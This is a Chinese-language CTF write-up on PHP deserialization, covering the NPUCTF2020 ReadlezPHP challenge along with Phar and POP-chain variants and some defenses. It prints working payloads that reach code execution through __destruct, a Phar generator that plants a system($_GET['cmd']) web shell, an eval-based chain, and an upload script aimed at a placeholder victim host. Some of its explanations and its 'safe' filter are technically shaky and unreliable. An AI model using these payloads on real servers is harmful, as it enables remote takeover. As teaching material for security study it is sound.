PHP 反序列化漏洞实战:NPUCTF2020 ReadlezPHP 利用 __destruct 执行任意代码
PHP反序列化漏洞深度剖析:从魔术方法到任意代码执行实战
1. 反序列化漏洞的本质与危害
PHP反序列化漏洞长期位居OWASP Top 10危险漏洞之列,其本质在于程序对用户可控的序列化数据进行了不当的反序列化操作。当攻击者精心构造的恶意序列化数据被unserialize()函数处理时,会触发对象中的魔术方法执行非预期操作。
典型攻击场景:
- 用户输入直接传递给
unserialize() - 会话数据(PHP Session)的反序列化处理
- 缓存数据的读取与反序列化
- 跨服务通信时的数据反序列化
漏洞危害等级矩阵:
| 危害类型 | 影响范围 | 攻击复杂度 |
|---|---|---|
| RCE | 服务器完全控制 | 中高 |
| 文件操作 | 敏感数据泄露 | 中 |
| 权限提升 | 业务逻辑绕过 | 低 |
2. 魔术方法的触发机制分析
PHP中与反序列化相关的关键魔术方法包括:
__wakeup() // 反序列化时立即触发 __destruct() // 对象销毁时触发 __toString() // 对象被当作字符串处理时触发以__destruct()为例的典型调用链:
unserialize() -> 创建对象 -> __wakeup() -> [对象使用周期] -> __destruct()关键特性:
__destruct()的触发时机具有确定性- 方法内通常包含资源释放等敏感操作
- 参数控制路径可达性高
3. NPUCTF2020 ReadlezPHP漏洞复现
3.1 环境搭建与代码审计
靶机关键代码片段:
class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); // 动态函数调用 } } $ppp = unserialize($_GET["data"]);漏洞点分析:
- 用户可控的
data参数直接传入unserialize() __destruct()中存在动态函数调用$b($a)- 未对
$b和$a进行任何过滤
3.2 两种攻击Payload构造
方案一:assert函数执行
class HelloPhp { public $a = 'phpinfo();'; public $b = 'assert'; } $obj = new HelloPhp(); echo urlencode(serialize($obj));生成结果:
O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D方案二:call_user_func调用
class HelloPhp { public $a = 'phpinfo'; public $b = 'call_user_func'; } $obj = new HelloPhp(); echo urlencode(serialize($obj));技术对比:
| 方案 | 适用场景 | 限制条件 |
|---|---|---|
| assert | 单条语句执行 | PHP7.2后可能被禁用 |
| call_user_func | 多参数函数调用 | 需要函数名作为第一个参数 |
4. 漏洞利用的进阶技巧
4.1 属性数量欺骗
PHP反序列化时的C格式(完整类名)与O格式(对象)处理差异:
// 正常序列化 O:4:"Test":1:{s:1:"a";s:1:"b";} // 属性数量欺骗 O:4:"Test":2:{s:1:"a";s:1:"b";}绕过技巧:
- 修改序列化字符串中的属性数量
- 利用
__wakeup()中属性检查的缺陷
4.2 Phar协议利用
通过Phar文件触发反序列化:
// 生成恶意phar文件 $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); class Evil { function __destruct() { system($_GET['cmd']); } } $obj = new Evil(); $phar->setMetadata($obj); $phar->stopBuffering();利用条件:
- 存在文件操作函数如
file_exists() - 可控制文件名部分内容
- PHP版本<8.0
5. 防御方案与最佳实践
5.1 输入过滤策略
function safe_unserialize($input) { if (preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $input)) { return unserialize(base64_decode($input)); } throw new Exception('Invalid serialized data'); }5.2 运行时防护
推荐配置:
; php.ini安全配置 disable_functions = assert,system,passthru allow_url_include = Off5.3 架构层面防护
- 使用JSON替代序列化
- 实现签名验证机制
- 引入白名单类限制
防护效果对比:
| 防护层级 | 实现成本 | 防护效果 |
|---|---|---|
| 输入过滤 | 低 | 中 |
| 运行时 | 中 | 高 |
| 架构设计 | 高 | 极高 |
6. CTF实战中的变种题型
6.1 链式调用漏洞
class A { public $b; function __destruct() { $this->b->action(); } } class B { function action() { eval($_GET['cmd']); } }利用要点:
- 构造完整的对象调用链
- 控制每个环节的属性值
6.2 真实环境中的组合利用
某CMS漏洞实例:
- 通过文件上传获取Phar文件路径
- 利用图片处理函数触发Phar反序列化
- 通过
__destruct()执行系统命令
# 自动化利用脚本示例 import requests TARGET = 'http://victim.com/upload.php' PHAR = 'exploit.phar' with open(PHAR, 'rb') as f: files = {'file': ('image.jpg', f, 'image/jpeg')} r = requests.post(TARGET, files=files) if r.status_code == 200: print(f'File uploaded to: {r.json()["path"]}') # 触发反序列化...在实际渗透测试中,反序列化漏洞往往需要结合其他漏洞形成攻击链,这要求安全人员对PHP对象生命周期和魔术方法调用机制有深刻理解。建议开发者在设计涉及序列化的功能时,优先考虑使用JSON等更安全的替代方案,并对必要的反序列化操作实施严格的输入验证和类白名单控制。
